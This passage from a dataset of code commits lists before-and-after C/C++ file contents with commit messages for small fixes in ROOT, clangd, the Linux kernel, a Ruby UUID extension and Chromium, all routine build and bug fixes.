link C++ class TAttParticle;\n#pragma link C++ class TPrimary;\n#pragma link C++ class TGenerator-;\n#pragma link C++ class TDatabasePDG+;\n#pragma link C++ class TParticlePDG+;\n\n#endif\n","new_contents":"\/* @(#)root\/eg:$Name:  $:$Id: LinkDef.h,v 1.3 2000\/09\/08 16:42:12 brun Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class TParticle-;\n#pragma link C++ class TAttParticle+;\n#pragma link C++ class TPrimary+;\n#pragma link C++ class TGenerator+;\n#pragma link C++ class TDatabasePDG+;\n#pragma link C++ class TParticlePDG+;\n\n#endif\n","subject":"Use option + for TAttParticle and TPrimary","message":"Use option + for TAttParticle and TPrimary\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@932 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root"}
{"commit":"175cd65e582181d18041f604ffd06730f1109e86","old_file":"SQLPackRatJSON\/SQLPackRatJSON-Bridging-Header.h","new_file":"SQLPackRatJSON\/SQLPackRatJSON-Bridging-Header.h","old_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import \"SQLPackRat.h\"\n","new_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import \"SQLPackRat.h\"\n#import <sqlite3.h>\n","subject":"Include sqlite3 in bridging header.","message":"Include sqlite3 in bridging header.\n","lang":"C","license":"mit","repos":"tewha\/SQLPackRat,tewha\/SQLPackRat"}
{"commit":"518d3b528894007e746413079241cfba4ae5c07a","old_file":"clangd\/index\/SymbolCollector.h","new_file":"clangd\/index\/SymbolCollector.h","old_contents":"\/\/===--- SymbolCollector.h ---------------------------------------*- C++-*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"Index.h\"\n\n#include \"clang\/Index\/IndexDataConsumer.h\"\n#include \"clang\/Index\/IndexSymbol.h\"\n\nnamespace clang {\nnamespace clangd {\n\n\/\/ Collect all symbols from an AST.\n\/\/\n\/\/ Clients (e.g. clangd) can use SymbolCollector together with\n\/\/ index::indexTopLevelDecls to retrieve all symbols when the source file is\n\/\/ changed.\nclass SymbolCollector : public index::IndexDataConsumer {\npublic:\n  SymbolCollector() = default;\n\n  bool\n  handleDeclOccurence(const Decl *D, index::SymbolRoleSet Roles,\n                      ArrayRef<index::SymbolRelation> Relations, FileID FID,\n                      unsigned Offset,\n                      index::IndexDataConsumer::ASTNodeInfo ASTNode) override;\n\n  void finish() override;\n\n  SymbolSlab takeSymbols() const { return std::move(Symbols); }\n\nprivate:\n  \/\/ All Symbols collected from the AST.\n  SymbolSlab Symbols;\n};\n\n} \/\/ namespace clangd\n} \/\/ namespace clang\n","new_contents":"\/\/===--- SymbolCollector.h ---------------------------------------*- C++-*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"Index.h\"\n\n#include \"clang\/Index\/IndexDataConsumer.h\"\n#include \"clang\/Index\/IndexSymbol.h\"\n\nnamespace clang {\nnamespace clangd {\n\n\/\/ Collect all symbols from an AST.\n\/\/\n\/\/ Clients (e.g. clangd) can use SymbolCollector together with\n\/\/ index::indexTopLevelDecls to retrieve all symbols when the source file is\n\/\/ changed.\nclass SymbolCollector : public index::IndexDataConsumer {\npublic:\n  SymbolCollector() = default;\n\n  bool\n  handleDeclOccurence(const Decl *D, index::SymbolRoleSet Roles,\n                      ArrayRef<index::SymbolRelation> Relations, FileID FID,\n                      unsigned Offset,\n                      index::IndexDataConsumer::ASTNodeInfo ASTNode) override;\n\n  void finish() override;\n\n  SymbolSlab takeSymbols() { return std::move(Symbols); }\n\nprivate:\n  \/\/ All Symbols collected from the AST.\n  SymbolSlab Symbols;\n};\n\n} \/\/ namespace clangd\n} \/\/ namespace clang\n","subject":"Remove the const specifier of the takeSymbol method","message":"[clangd] Remove the const specifier of the takeSymbol method\n\notherwise we will copy an object.\n\ngit-svn-id: a34e9779ed74578ad5922b3306b3d80a0c825546@320574 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra"}
{"commit":"c21f7a527f7757a0e246cea521a5dd3b8e1224d5","old_file":"drivers\/char\/hvc_irq.c","new_file":"drivers\/char\/hvc_irq.c","old_contents":"\/*\n * Copyright IBM Corp. 2001,2008\n *\n * This file contains the IRQ specific code for hvc_console\n *\n *\/\n\n#include <linux\/interrupt.h>\n\n#include \"hvc_console.h\"\n\nstatic irqreturn_t hvc_handle_interrupt(int irq, void *dev_instance)\n{\n\t\/* if hvc_poll request a repoll, then kick the hvcd thread *\/\n\tif (hvc_poll(dev_instance))\n\t\thvc_kick();\n\treturn IRQ_HANDLED;\n}\n\n\/*\n * For IRQ based systems these callbacks can be used\n *\/\nint notifier_add_irq(struct hvc_struct *hp, int irq)\n{\n\tint rc;\n\n\tif (!irq) {\n\t\thp->irq_requested = 0;\n\t\treturn 0;\n\t}\n\trc = request_irq(irq, hvc_handle_interrupt, IRQF_DISABLED,\n\t\t\t   \"hvc_console\", hp);\n\tif (!rc)\n\t\thp->irq_requested = 1;\n\treturn rc;\n}\n\nvoid notifier_del_irq(struct hvc_struct *hp, int irq)\n{\n\tif (!irq)\n\t\treturn;\n\tfree_irq(irq, hp);\n\thp->irq_requested = 0;\n}\n\nvoid notifier_hangup_irq(struct hvc_struct *hp, int irq)\n{\n\tnotifier_del_irq(hp, irq);\n}\n","new_contents":"\/*\n * Copyright IBM Corp. 2001,2008\n *\n * This file contains the IRQ specific code for hvc_console\n *\n *\/\n\n#include <linux\/interrupt.h>\n\n#include \"hvc_console.h\"\n\nstatic irqreturn_t hvc_handle_interrupt(int irq, void *dev_instance)\n{\n\t\/* if hvc_poll request a repoll, then kick the hvcd thread *\/\n\tif (hvc_poll(dev_instance))\n\t\thvc_kick();\n\treturn IRQ_HANDLED;\n}\n\n\/*\n * For IRQ based systems these callbacks can be used\n *\/\nint notifier_add_irq(struct hvc_struct *hp, int irq)\n{\n\tint rc;\n\n\tif (!irq) {\n\t\thp->irq_requested = 0;\n\t\treturn 0;\n\t}\n\trc = request_irq(irq, hvc_handle_interrupt, IRQF_DISABLED,\n\t\t\t   \"hvc_console\", hp);\n\tif (!rc)\n\t\thp->irq_requested = 1;\n\treturn rc;\n}\n\nvoid notifier_del_irq(struct hvc_struct *hp, int irq)\n{\n\tif (!hp->irq_requested)\n\t\treturn;\n\tfree_irq(irq, hp);\n\thp->irq_requested = 0;\n}\n\nvoid notifier_hangup_irq(struct hvc_struct *hp, int irq)\n{\n\tnotifier_del_irq(hp, irq);\n}\n","subject":"Call free_irq() only if request_irq() was successful","message":"hvc_console: Call free_irq() only if request_irq() was successful\n\nOnly call free_irq if we marked the request_irq has having succeeded\ninstead of whenever the the sub-driver identified the interrupt to use.\n\nSigned-off-by: Milton Miller <8bd50e0fc26e21e23b28837d9acdf866b237c39d@bga.com>\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"c8d56e1370657b609066f18fddac2b3005cfe3e0","old_file":"ext\/cuuid\/cuuid.c","new_file":"ext\/cuuid\/cuuid.c","old_contents":"#include <ruby.h>\n#include <uuid\/uuid.h>\n\n\/\/ Define our module constant\nVALUE CUUID = Qnil;\n\n\/\/ Prototype this\nvoid Init_cuuid();\n\n\/\/ Prototype CUUID.generate\nVALUE method_generate();\n\n\/\/ Define CUUID and the fact it has a class method called generate\nvoid Init_cuuid() {\n  int arg_count = 0;\n  CUUID = rb_define_module(\"CUUID\");\n  rb_define_module_function(CUUID, \"generate\", method_generate, arg_count);\n}\n\n\/\/ Implement CUUID.generate\nVALUE method_generate(VALUE self) {\n  uuid_t uuid_id;\n  char uuid_str[128];\n\n  \/\/ Generate UUID and grab string version of it\n  uuid_generate(uuid_id);\n  uuid_unparse(uuid_id, uuid_str);\n\n  \/\/ Cast it into a ruby string and return it\n  return rb_str_new2(uuid_str);\n}\n","new_contents":"#include <ruby.h>\n#include <uuid\/uuid.h>\n\n\/\/ Define our module constant\nVALUE CUUID = Qnil;\n\n\/\/ Prototype this\nvoid Init_cuuid();\n\n\/\/ Prototype CUUID.generate\nVALUE method_generate();\n\n\/\/ Define CUUID and the fact it has a class method called generate\nvoid Init_cuuid() {\n  int arg_count = 0;\n  CUUID = rb_define_module(\"CUUID\");\n  rb_define_module_function(CUUID, \"generate\", method_generate, arg_count);\n}\n\n\/\/ Implement CUUID.generate\nstatic VALUE method_generate(VALUE self) {\n  uuid_t uuid_id;\n  char uuid_str[128];\n\n  \/\/ Generate UUID and grab string version of it\n  uuid_generate(uuid_id);\n  uuid_unparse(uuid_id, uuid_str);\n\n  \/\/ Cast it into a ruby string and return it\n  return rb_str_new2(uuid_str);\n}\n","subject":"Make method_generate a static method","message":"Make method_generate a static method\n\nThanks to @gnufied for the advice!\n","lang":"C","license":"mit","repos":"EmberAds\/cuuid,EmberAds\/cuuid,EmberAds\/cuuid"}
{"commit":"bafe68034e3ef5e9f512bd0468001caf34981c41","old_file":"include\/asm-avr32\/byteorder.h","new_file":"include\/asm-avr32\/byteorder.h","old_contents":"\/*\n * AVR32 endian-conversion functions.\n *\/\n#ifndef __ASM_AVR32_BYTEORDER_H\n#define __ASM_AVR32_BYTEORDER_H\n\n#include <asm\/types.h>\n#include <linux\/compiler.h>\n\n#ifdef __CHECKER__\nextern unsigned long __builtin_bswap_32(unsigned long x);\nextern unsigned short __builtin_bswap_16(unsigned short x);\n#endif\n\n#define __arch__swab32(x) __builtin_bswap_32(x)\n#define __arch__swab16(x) __builtin_bswap_16(x)\n\n#if !defined(__STRICT_ANSI__) || defined(__KERNEL__)\n# define __BYTEORDER_HAS_U64__\n# define __SWAB_64_THRU_32__\n#endif\n\n#include <linux\/byteorder\/big_endian.h>\n\n#endif \/* __ASM_AVR32_BYTEORDER_H *\/\n","new_contents":"\/*\n * AVR32 endian-conversion functions.\n *\/\n#ifndef __ASM_AVR32_BYTEORDER_H\n#define __ASM_AVR32_BYTEORDER_H\n\n#include <asm\/types.h>\n#include <linux\/compiler.h>\n\n#ifdef __CHECKER__\nextern unsigned long __builtin_bswap_32(unsigned long x);\nextern unsigned short __builtin_bswap_16(unsigned short x);\n#endif\n\n\/*\n * avr32-linux-gcc versions earlier than 4.2 improperly sign-extends\n * the result.\n *\/\n#if !(__GNUC__ == 4 && __GNUC_MINOR__ < 2)\n#define __arch__swab32(x) __builtin_bswap_32(x)\n#define __arch__swab16(x) __builtin_bswap_16(x)\n#endif\n\n#if !defined(__STRICT_ANSI__) || defined(__KERNEL__)\n# define __BYTEORDER_HAS_U64__\n# define __SWAB_64_THRU_32__\n#endif\n\n#include <linux\/byteorder\/big_endian.h>\n\n#endif \/* __ASM_AVR32_BYTEORDER_H *\/\n","subject":"Work around byteswap bug in gcc < 4.2","message":"avr32: Work around byteswap bug in gcc < 4.2\n\ngcc versions earlier than 4.2 sign-extends the result of le16_to_cpu()\nand friends when we implement __arch__swabX() using\n__builtin_bswap_X(). Disable our arch-specific optimizations when those\ngcc versions are being used.\n\nSigned-off-by: Haavard Skinnemoen <de7418319212d7eab32260a76732c1f83e514852@atmel.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"5488c753530b7b08437df6115a2c2c6156c2f0f6","old_file":"include\/linux\/sunserialcore.h","new_file":"include\/linux\/sunserialcore.h","old_contents":"\/* sunserialcore.h\n *\n * Generic SUN serial\/kbd\/ms layer.  Based entirely\n * upon drivers\/sbus\/char\/sunserial.h which is:\n *\n * Copyright (C) 1997  Eddie C. Dost  (ecd@skynet.be)\n *\n * Port to new UART layer is:\n *\n * Copyright (C) 2002 David S. Miller (davem@redhat.com)\n *\/\n\n#ifndef _SERIAL_SUN_H\n#define _SERIAL_SUN_H\n\n\/* Serial keyboard defines for L1-A processing... *\/\n#define SUNKBD_RESET\t\t0xff\n#define SUNKBD_L1\t\t0x01\n#define SUNKBD_UP\t\t0x80\n#define SUNKBD_A\t\t0x4d\n\nextern unsigned int suncore_mouse_baud_cflag_next(unsigned int, int *);\nextern int suncore_mouse_baud_detection(unsigned char, int);\n\nextern int sunserial_register_minors(struct uart_driver *, int);\nextern void sunserial_unregister_minors(struct uart_driver *, int);\n\nextern int sunserial_console_match(struct console *, struct device_node *,\n\t\t\t\t   struct uart_driver *, int, bool);\nextern void sunserial_console_termios(struct console *,\n\t\t\t\t      struct device_node *);\n\n#endif \/* !(_SERIAL_SUN_H) *\/\n","new_contents":"\/* sunserialcore.h\n *\n * Generic SUN serial\/kbd\/ms layer.  Based entirely\n * upon drivers\/sbus\/char\/sunserial.h which is:\n *\n * Copyright (C) 1997  Eddie C. Dost  (ecd@skynet.be)\n *\n * Port to new UART layer is:\n *\n * Copyright (C) 2002 David S. Miller (davem@redhat.com)\n *\/\n\n#ifndef _SERIAL_SUN_H\n#define _SERIAL_SUN_H\n\n#include <linux\/device.h>\n#include <linux\/serial_core.h>\n#include <linux\/console.h>\n\n\/* Serial keyboard defines for L1-A processing... *\/\n#define SUNKBD_RESET\t\t0xff\n#define SUNKBD_L1\t\t0x01\n#define SUNKBD_UP\t\t0x80\n#define SUNKBD_A\t\t0x4d\n\nextern unsigned int suncore_mouse_baud_cflag_next(unsigned int, int *);\nextern int suncore_mouse_baud_detection(unsigned char, int);\n\nextern int sunserial_register_minors(struct uart_driver *, int);\nextern void sunserial_unregister_minors(struct uart_driver *, int);\n\nextern int sunserial_console_match(struct console *, struct device_node *,\n\t\t\t\t   struct uart_driver *, int, bool);\nextern void sunserial_console_termios(struct console *,\n\t\t\t\t      struct device_node *);\n\n#endif \/* !(_SERIAL_SUN_H) *\/\n","subject":"Fix build breakage from decoupling pps from tty","message":"pps: Fix build breakage from decoupling pps from tty\n\nFixes:\ntree:   git:\/\/git.kernel.org\/pub\/scm\/linux\/kernel\/git\/gregkh\/tty.git tty-next\nhead:   bc80fbe46be7430487a45ad92841932bb2eaa3e6\ncommit: 593fb1ae457aab28b392ac114f6e3358788da985 pps: Move timestamp read into PPS code proper\ndate:   78 minutes ago\nconfig: make ARCH=sparc defconfig\n\nAll error\/warnings:\n\n   In file included from drivers\/tty\/serial\/suncore.c:20:0:\n>> include\/linux\/sunserialcore.h:29:15: warning: 'struct device_node' declared inside parameter list [enabled by default]\n>> include\/linux\/sunserialcore.h:29:15: warning: its scope is only this definition or declaration, which is probably not what you want [enabled by default]\n>> include\/linux\/sunserialcore.h:31:18: warning: 'struct device_node' declared inside parameter list [enabled by default]\n>> drivers\/tty\/serial\/suncore.c:55:5: error: conflicting types for 'sunserial_console_match'\n   include\/linux\/sunserialcore.h:28:12: note: previous declaration of 'sunserial_console_match' was here\n>> drivers\/tty\/serial\/suncore.c:83:1: error: conflicting types for 'sunserial_console_match'\n   include\/linux\/sunserialcore.h:28:12: note: previous declaration of 'sunserial_console_match' was here\n>> drivers\/tty\/serial\/suncore.c:85:6: error: conflicting types for 'sunserial_console_termios'\n   include\/linux\/sunserialcore.h:30:13: note: previous declaration of 'sunserial_console_termios' was here\n\nReported-by: kbuild test robot <24f7fe9d205c8a9f6ade0c2894e14303ca16087f@intel.com>\nCc: George Spelvin <ba324ca7b1c77fc20bb970d5aff6eea9377918a5@horizon.com>\nSigned-off-by: Peter Hurley <4b8373d016f277527198385ba72fda0feb5da015@hurleysoftware.com>\nSigned-off-by: Greg Kroah-Hartman <4645f7897fd33786a2ee1264d590b3c400559d85@linuxfoundation.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"f768655c72cb93e263763f23b3238acd04ac2a19","old_file":"chrome\/renderer\/webview_color_overlay.h","new_file":"chrome\/renderer\/webview_color_overlay.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n#define CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n#pragma once\n\n#include \"base\/basictypes.h\"\n#include \"base\/compiler_specific.h\"\n#include \"third_party\/skia\/include\/core\/SkColor.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebPageOverlay.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebRect.h\"\n\nnamespace content {\nclass RenderView;\n}\n\n\/\/ This class draws the given color on a PageOverlay of a WebView.\nclass WebViewColorOverlay : public WebKit::WebPageOverlay {\n public:\n  WebViewColorOverlay(content::RenderView* render_view, SkColor color);\n  virtual ~WebViewColorOverlay();\n\n private:\n  \/\/ WebKit::WebPageOverlay implementation:\n  virtual void paintPageOverlay(WebKit::WebCanvas* canvas);\n\n  content::RenderView* render_view_;\n  SkColor color_;\n\n  DISALLOW_COPY_AND_ASSIGN(WebViewColorOverlay);\n};\n\n#endif  \/\/ CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n#define CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n#pragma once\n\n#include \"base\/basictypes.h\"\n#include \"base\/compiler_specific.h\"\n#include \"third_party\/skia\/include\/core\/SkColor.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebPageOverlay.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/platform\/WebRect.h\"\n\nnamespace content {\nclass RenderView;\n}\n\n\/\/ This class draws the given color on a PageOverlay of a WebView.\nclass WebViewColorOverlay : public WebKit::WebPageOverlay {\n public:\n  WebViewColorOverlay(content::RenderView* render_view, SkColor color);\n  virtual ~WebViewColorOverlay();\n\n private:\n  \/\/ WebKit::WebPageOverlay implementation:\n  virtual void paintPageOverlay(WebKit::WebCanvas* canvas);\n\n  content::RenderView* render_view_;\n  SkColor color_;\n\n  DISALLOW_COPY_AND_ASSIGN(WebViewColorOverlay);\n};\n\n#endif  \/\/ CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n","subject":"Fix build break from the future.","message":"Fix build break from the future.\n\nTBR=pfeldman\nReview URL: http:\/\/codereview.chromium.org\/8801036\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@113098 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,rogerwang\/chromium,keishi\/chromium,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,dednal\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,Just-D\/chromium-1,Chilledheart\/chromium,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk,keishi\/chromium,jaruba\/chromium.src,M4sse\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,ltilve\/chromium,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,dednal\/chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,littlstar\/chromium.src,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,rogerwang\/chromium,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,dednal\/chromium.src,patrickm\/chromium.src,dushu1203\/chromium.src,jaruba\/chromium.src,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,Just-D\/chromium-1,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,jaruba\/chromium.src,robclark\/chromium,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,dednal\/chromium.src,ChromiumWebApps\/chromium,littlstar\/chromium.src,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,patrickm\/chromium.src,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,markYoungH\/chromium.src,patrickm\/chromium.src,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,ltilve\/chromium,rogerwang\/chromium,dednal\/chromium.src,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,ltilve\/chromium,dushu1203\/chromium.src,robclark\/chromium,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,M4sse\/chromium.src,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,rogerwang\/chromium,robclark\/chromium,dednal\/chromium.src,hujiajie\/pa-chromium,jaruba\/chromium.src,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,littlstar\/chromium.src,nacl-webkit\/chrome_deps,rogerwang\/chromium,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,robclark\/chromium,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,ondra-novak\/chromium.src,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,littlstar\/chromium.src,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,anirudhSK\/chromium,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,keishi\/chromium,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,keishi\/chromium,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,M4sse\/chromium.src,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,robclark\/chromium,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,dednal\/chromium.src,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,ltilve\/chromium,M4sse\/chromium.src,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,dushu1203\/chromium.src,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,M4sse\/chromium.src,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,hujiajie\/pa-chromium,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,Just-D\/chromium-1,dushu1203\/chromium.src,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,keishi\/chromium,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,Jonekee\/chromium.src,keishi\/chromium,markYoungH\/chromium.src,Chilledheart\/chromium,dednal\/chromium.src,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,rogerwang\/chromium,ltilve\/chromium,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,jaruba\/chromium.src,zcbenz\/cefode-chromium,Jonekee\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,nacl-webkit\/chrome_deps,jaruba\/chromium.src,jaruba\/chromium.src,zcben